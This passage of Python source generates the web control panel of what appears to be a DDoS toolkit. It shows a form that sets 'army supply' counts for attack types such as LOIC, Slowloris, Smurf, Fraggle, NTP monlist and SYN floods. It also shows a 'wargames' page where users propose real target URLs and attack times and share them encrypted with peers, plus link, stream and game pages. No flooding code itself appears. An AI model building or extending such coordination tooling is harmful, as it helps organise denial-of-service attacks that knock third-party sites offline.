document.getElementById("supply_monlist").readOnly = false;
1496
document.getElementById("supply_fraggle").readOnly = false;
1497
document.getElementById("supply_sniper").readOnly = false;
1498
document.getElementById("supply_ufoack").readOnly = false;
1499
document.getElementById("supply_uforst").readOnly = false;
1500
document.getElementById("supply_droper").readOnly = false;
1501
document.getElementById("supply_overlap").readOnly = false;
1502
document.getElementById("supply_pinger").readOnly = false;
1503
document.getElementById("supply_ufoudp").readOnly = false;
1504
document.getElementById("supply_edit").title = "Set global army supply..."
1505
document.getElementById("supply_edit").value = "SET"
1506
document.getElementById("supply_edit").innerHTML = "SET!"
1507
}else{
1508
supply_botnet=document.getElementById("supply_botnet").value
1509
supply_loic=document.getElementById("supply_loic").value
1510
supply_loris=document.getElementById("supply_loris").value
1511
supply_ufosyn=document.getElementById("supply_ufosyn").value
1512
supply_spray=document.getElementById("supply_spray").value
1513
supply_smurf=document.getElementById("supply_smurf").value
1514
supply_xmas=document.getElementById("supply_xmas").value
1515
supply_nuke=document.getElementById("supply_nuke").value
1516
supply_tachyon=document.getElementById("supply_tachyon").value
1517
supply_monlist=document.getElementById("supply_monlist").value
1518
supply_fraggle=document.getElementById("supply_fraggle").value
1519
supply_sniper=document.getElementById("supply_sniper").value
1520
supply_ufoack=document.getElementById("supply_ufoack").value
1521
supply_uforst=document.getElementById("supply_uforst").value
1522
supply_droper=document.getElementById("supply_droper").value
1523
supply_overlap=document.getElementById("supply_overlap").value
1524
supply_pinger=document.getElementById("supply_pinger").value
1525
supply_ufoudp=document.getElementById("supply_ufoudp").value
1526
if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
1527
window.alert("You need to enter a valid BOTNET supply number (int>=0)");
1528
return
1529
}else{
1530
if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
1531
window.alert("You need to enter a valid LOIC supply number (int>=0)");
1532
return
1533
}else{
1534
if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
1535
window.alert("You need to enter a valid LORIS supply number (int>=0)");
1536
return
1537
}else{
1538
if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
1539
window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
1540
return
1541
}else{
1542
if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
1543
window.alert("You need to enter a valid SPRAY supply number (int>=0)");
1544
return
1545
}else{
1546
if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
1547
window.alert("You need to enter a valid SMURF supply number (int>=0)");
1548
return
1549
}else{
1550
if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
1551
window.alert("You need to enter a valid XMAS supply number (int>=0)");
1552
return
1553
}else{
1554
if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
1555
window.alert("You need to enter a valid NUKE supply number (int>=0)");
1556
return
1557
}else{
1558
if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
1559
window.alert("You need to enter a valid TACHYON supply number (int>=0)");
1560
return
1561
}else{
1562
if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
1563
window.alert("You need to enter a valid MONLIST supply number (int>=0)");
1564
return
1565
}else{
1566
if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) {
1567
window.alert("You need to enter a valid FRAGGLE supply number (int>=0)");
1568
return
1569
}else{
1570
if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) {
1571
window.alert("You need to enter a valid SNIPER supply number (int>=0)");
1572
return
1573
}else{
1574
if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) {
1575
window.alert("You need to enter a valid UFOACK supply number (int>=0)");
1576
return
1577
}else{
1578
if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) {
1579
window.alert("You need to enter a valid UFORST supply number (int>=0)");
1580
return
1581
}else{
1582
if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) {
1583
window.alert("You need to enter a valid DROPER supply number (int>=0)");
1584
return
1585
}else{
1586
if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) {
1587
window.alert("You need to enter a valid OVERLAP supply number (int>=0)");
1588
return
1589
}else{
1590
if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) {
1591
window.alert("You need to enter a valid PINGER supply number (int>=0)");
1592
return
1593
}else{
1594
if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) {
1595
window.alert("You need to enter a valid UFOUDP supply number (int>=0)");
1596
return
1597
}else{
1598
document.getElementById("supply_botnet").readOnly = true;
1599
document.getElementById("supply_loic").readOnly = true;
1600
document.getElementById("supply_loris").readOnly = true;
1601
document.getElementById("supply_ufosyn").readOnly = true;
1602
document.getElementById("supply_spray").readOnly = true;
1603
document.getElementById("supply_smurf").readOnly = true;
1604
document.getElementById("supply_xmas").readOnly = true;
1605
document.getElementById("supply_nuke").readOnly = true;
1606
document.getElementById("supply_tachyon").readOnly = true;
1607
document.getElementById("supply_monlist").readOnly = true;
1608
document.getElementById("supply_fraggle").readOnly = true;
1609
document.getElementById("supply_sniper").readOnly = true;
1610
document.getElementById("supply_ufoack").readOnly = true;
1611
document.getElementById("supply_uforst").readOnly = true;
1612
document.getElementById("supply_droper").readOnly = true;
1613
document.getElementById("supply_overlap").readOnly = true;
1614
document.getElementById("supply_pinger").readOnly = true;
1615
document.getElementById("supply_ufoudp").readOnly = true;
1616
document.getElementById("supply_edit").title = "Edit global army supply..."
1617
document.getElementById("supply_edit").value = "EDIT"
1618
document.getElementById("supply_edit").innerHTML = "EDIT"
1619
params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp)
1620
runCommandX("cmd_edit_supply",params)
1621
setTimeout("Decrypt_wargames()", 2000)
1622
}
1623
}
1624
}
1625
}
1626
}
1627
}
1628
}
1629
}
1630
}
1631
}
1632
}
1633
}
1634
}
1635
}
1636
}
1637
}
1638
}
1639
}
1640
}
1641
}
1642
</script>
1643
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
1644
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
1645
<br>
1646
<center>
1647
<table cellpadding="5" cellspacing="5"><tr>
1648
<td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
1649
<td>
1650
<pre>This feature will allow you to propose/join some real 'wargames'.
1651
1652
<hr>
1653
<center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
1654
<hr><br>
1655
<u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
1656
1657
def generate_links(self):
1658
with open(self.links_file) as f:
1659
for line in f:
1660
line = line.strip()
1661
f.close()
1662
links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
1663
for m in self.list_links: # list = creation, topic, url
1664
if links_msg_sep in m:
1665
m = m.split(links_msg_sep)
1666
link_creation = m[0][0:12] # creation date
1667
link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
1668
link_topic = m[1][0:12] # topic
1669
link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
1670
link_url = m[2][0:12] # url
1671
link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
1672
links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
1673
links_table += "</table>"
1674
mother_link = "<div id='links_panel_enc' style='display:block'>"
1675
links_table = mother_link + links_table + "</div>"
1676
return links_table
1677
1678
def generate_streams(self):
1679
with open(self.streams_file) as f:
1680
for line in f:
1681
line = line.strip()
1682
f.close()
1683
streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
1684
for m in self.list_streams: # list = creation, topic, stream
1685
if streams_msg_sep in m:
1686
m = m.split(streams_msg_sep)
1687
stream_creation = m[0][0:12] # creation date
1688
strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
1689
stream_topic = m[1][0:12] # topic
1690
stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
1691
stream_url = m[2][0:12] # url
1692
stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
1693
streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
1694
streams_table += "</table>"
1695
mother_stream = "<div id='streams_panel_enc' style='display:block'>"
1696
streams_table = mother_stream + streams_table + "</div>"
1697
return streams_table
1698
1699
def generate_games(self):
1700
games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
1701
with open(self.games_file) as f:
1702
for line in f:
1703
line = line.strip()
1704
if games_msg_sep in line:
1705
line = line.split(games_msg_sep)
1706
game_name = line[0] # name
1707
game_description = line[1] # description
1708
games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
1709
games_table += "</table>"
1710
f.close()
1711
mother_games = "<div id='games_panel_enc' style='display:block'>"
1712
games_table = mother_games + games_table + "</div>"
1713
return games_table
1714
1715
def generate_browser(self):
1716
browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
1717
return browser_table
1718
1719
def generate_globalnet(self):
1720
with open(self.globalnet_file) as f:
1721
for line in f:
1722
line = line.strip()
1723
f.close()
1724
globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
1725
for m in self.list_globalnet: # list = owner, comment, warping, ip
1726
if globalnet_msg_sep in m:
1727
m = m.split(globalnet_msg_sep)
1728
globalnet_owner = m[0][0:12] # owner
1729
globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
1730
globalnet_comment = m[1][0:32] # comment
1731
globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
1732
globalnet_warp = m[2][0:12] # warp
1733
globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
1734
globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
1735
globalnet_table += "</table>"
1736
mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
1737
globalnet_table = mother_globalnet + globalnet_table + "</div>"
1738
return globalnet_table
1739
1740
def html_links(self):
1741
l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
1742
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
1743
links_table = self.generate_links()
1744
return self.pages["/header"] + """<script language="javascript">
1745
function Decrypt_links(){
1746
link_deckey=document.getElementById("link_deckey").value
1747
if(link_deckey == "") {
1748
window.alert("You need to enter a valid key (provided by someone)");
1749
return
1750
}else{
1751
params="link_deckey="+escape(link_deckey)
1752
runCommandX("cmd_decrypt_links",params)
1753
panel_enc = document.getElementById("links_panel_enc").style.display
1754
if(panel_enc == "block"){
1755
panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
1756
}
1757
}
1758
}
1759
function Ranking() {
1760
var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1761
}
1762
function Grid() {
1763
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1764
}
1765
function Board() {
1766
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1767
}
1768
function Stats() {
1769
var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1770
}
1771
function Streams() {
1772
var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1773
}
1774
function SyncLinks(){
1775
link_source=document.getElementById("link_source").value
1776
if(link_source == "") {
1777
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1778
return
1779
}else{
1780
params="link_source="+escape(link_source)
1781
runCommandX("cmd_sync_links",params)
1782
setTimeout("location.reload()", 10000)
1783
}
1784
}
1785
function LinkFilter(filter, key) {
1786
params="filter="+escape(filter)+"&key="+escape(key)
1787
runCommandX("cmd_link_filter", params)
1788
setTimeout("Decrypt_links()", 2000)
1789
}
1790
function Send() {
1791
link_source2=document.getElementById("link_source2").value
1792
link_enckey=document.getElementById("link_enckey").value
1793
link_topic=document.getElementById("link_topic").value
1794
link_url=document.getElementById("link_url").value
1795
if(link_source2 == "") {
1796
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1797
return
1798
}else{
1799
if(link_enckey == "") {
1800
window.alert("You need to enter a valid key (provided by someone)");
1801
return
1802
}else{
1803
if(link_url == "http://127.0.0.1") {
1804
window.alert("You need to enter a valid link");
1805
return
1806
}else{
1807
params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
1808
runCommandX("cmd_transfer_link",params)
1809
setTimeout("location.reload()", 10000)
1810
}
1811
}
1812
}
1813
}
1814
</script>
1815
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
1816
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
1817
<br>
1818
<center>
1819
<table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
1820
<td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
1821
<td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
1822
</tr></table>
1823
<hr><br>
1824
<center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
1825
<option value="OFF" selected>OFF - NO-Topic</option>
1826
<option value="WKP">WKP - Wikipedia + Knowledge</option>
1827
<option value="NSA">NSA - National Space/Security Agency</option>
1828
<option value="DPW">DPW - Deep Web / Dark Web</option>
1829
<option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
1830
<option value="HAR">HAR - Hardware / Electronics</option>
1831
<option value="FPR">FPR - Freedom / Privacy / Rights</option>
1832
<option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
1833
<option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
1834
<option value="SPM">SPM - Propaganda + SPAM</option>
1835
<option value="SCI">SCI - SCience + phi</option>
1836
<option value="UFO">UFO - UFONET</option>
1837
</select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
1838
</tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
1839
<hr><br>
1840
<u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
1841
1842
def html_streams(self):
1843
l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
1844
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
1845
streams_table = self.generate_streams()
1846
return self.pages["/header"] + """<script language="javascript">
1847
function Decrypt_streams(){
1848
stream_deckey=document.getElementById("stream_deckey").value
1849
if(stream_deckey == "") {
1850
window.alert("You need to enter a valid key (provided by someone)");
1851
return
1852
}else{
1853
params="stream_deckey="+escape(stream_deckey)
1854
runCommandX("cmd_decrypt_streams",params)
1855
panel_enc = document.getElementById("streams_panel_enc").style.display
1856
if(panel_enc == "block"){
1857
panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
1858
}
1859
}
1860
}
1861
function Ranking() {
1862
var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1863
}
1864
function Grid() {
1865
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1866
}
1867
function Board() {
1868
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1869
}
1870
function Stats() {
1871
var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1872
}
1873
function Links() {
1874
var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1875
}
1876
function SyncStreams(){
1877
stream_source=document.getElementById("stream_source").value
1878
if(stream_source == "") {
1879
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1880
return
1881
}else{
1882
params="stream_source="+escape(stream_source)
1883
runCommandX("cmd_sync_streams",params)
1884
setTimeout("location.reload()", 10000)
1885
}
1886
}
1887
function StreamFilter(filter, key) {
1888
params="filter="+escape(filter)+"&key="+escape(key)
1889
runCommandX("cmd_stream_filter", params)
1890
setTimeout("Decrypt_streams()", 2000)
1891
}
1892
function Send() {
1893
stream_source2=document.getElementById("stream_source2").value
1894
stream_enckey=document.getElementById("stream_enckey").value
1895
stream_topic=document.getElementById("stream_topic").value
1896
stream_url=document.getElementById("stream_url").value
1897
if(stream_source2 == "") {
1898
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1899
return
1900
}else{
1901
if(stream_enckey == "") {
1902
window.alert("You need to enter a valid key (provided by someone)");
1903
return
1904
}else{
1905
if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
1906
window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
1907
return
1908
}else{
1909
params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
1910
runCommandX("cmd_transfer_stream",params)
1911
setTimeout("location.reload()", 10000)
1912
}
1913
}
1914
}
1915
}
1916
1917
function PlayStream(stream_num) {
1918
var str1 = "play_button_";
1919
var str2 = stream_num;
1920
var play_button_id = str1.concat(str2);
1921
var str3 = "video_";
1922
var video_play = str3.concat(str2);
1923
video_id = document.getElementById(play_button_id).value;
1924
document.getElementById(play_button_id).style.display = 'none';
1925
document.getElementById(video_play).style.display = 'block';
1926
document.getElementById(video_play).innerHTML = "<div id='player'></div>";
1927
var tag = document.createElement('script');
1928
tag.src = "https://www.youtube.com/iframe_api";
1929
var firstScriptTag = document.getElementsByTagName('script')[0];
1930
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
1931
}
1932
var player;
1933
function onYouTubeIframeAPIReady() {
1934
player = new YT.Player('player', {
1935
height: '390',
1936
width: '640',
1937
videoId: video_id,
1938
events: {
1939
'onReady': onPlayerReady,
1940
'onStateChange': onPlayerStateChange
1941
}
1942
});
1943
}
1944
function onPlayerReady(event) {
1945
event.target.playVideo();
1946
}
1947
var done = false;
1948
function onPlayerStateChange(event) {
1949
if (event.data == YT.PlayerState.PLAYING && !done) {
1950
done = true;
1951
}
1952
if (event.data === 0) {
1953
document.getElementById(play_button_id).style.display = 'block';
1954
document.getElementById(video_play).style.display = 'none';
1955
}
1956
}
1957
function stopVideo() {
1958
player.stopVideo();
1959
document.getElementById(play_button_id).style.display = 'block';
1960
document.getElementById(video_play).style.display = 'none';
1961
}
1962
</script>
1963
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
1964
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
1965
<br>
1966
<center>
1967
<table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
1968
<td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
1969
<td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
1970
</tr></table>
1971
<hr><br>
1972
<center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
1973
<option value="OFF" selected>OFF - NO-Topic</option>
1974
<option value="WKP">WKP - Wikipedia + Knowledge</option>
1975
<option value="NSA">NSA - National Space/Security Agency</option>
1976
<option value="DPW">DPW - Deep Web / Dark Web</option>
1977
<option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
1978
<option value="HAR">HAR - Hardware / Electronics</option>
1979
<option value="FPR">FPR - Freedom / Privacy / Rights</option>
1980
<option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
1981
<option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
1982
<option value="SPM">SPM - Propaganda + SPAM</option>
1983
<option value="SCI">SCI - SCience + phi</option>
1984
<option value="UFO">UFO - UFONET</option>
1985
</select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
1986
</tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
1987
<hr><br>
1988
<u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
1989
1990
def html_games(self):
1991
games_table = self.generate_games()
1992
return self.pages["/header"] + """<script language="javascript">
1993
function Ranking() {
1994
var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1995
}
1996
function Wargames() {
1997
var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1998
}
1999
function Grid() {
2000
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2001
}
2002
function Board() {
2003
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2004
}
2005
function Stats() {
2006
var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2007
}
2008
function PlayGame() {
2009
var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2010
}
2011
</script>
2012
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2013
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2014
<br>
2015
<center>
2016
<table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
2017
<td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
2018
<td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
2019
</tr></table>
2020
<hr><br>
2021
<u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
2022
2023
def html_spaceinvaders(self):
2024
return self.pages["/header"] + """<script language="javascript"></script>
2025
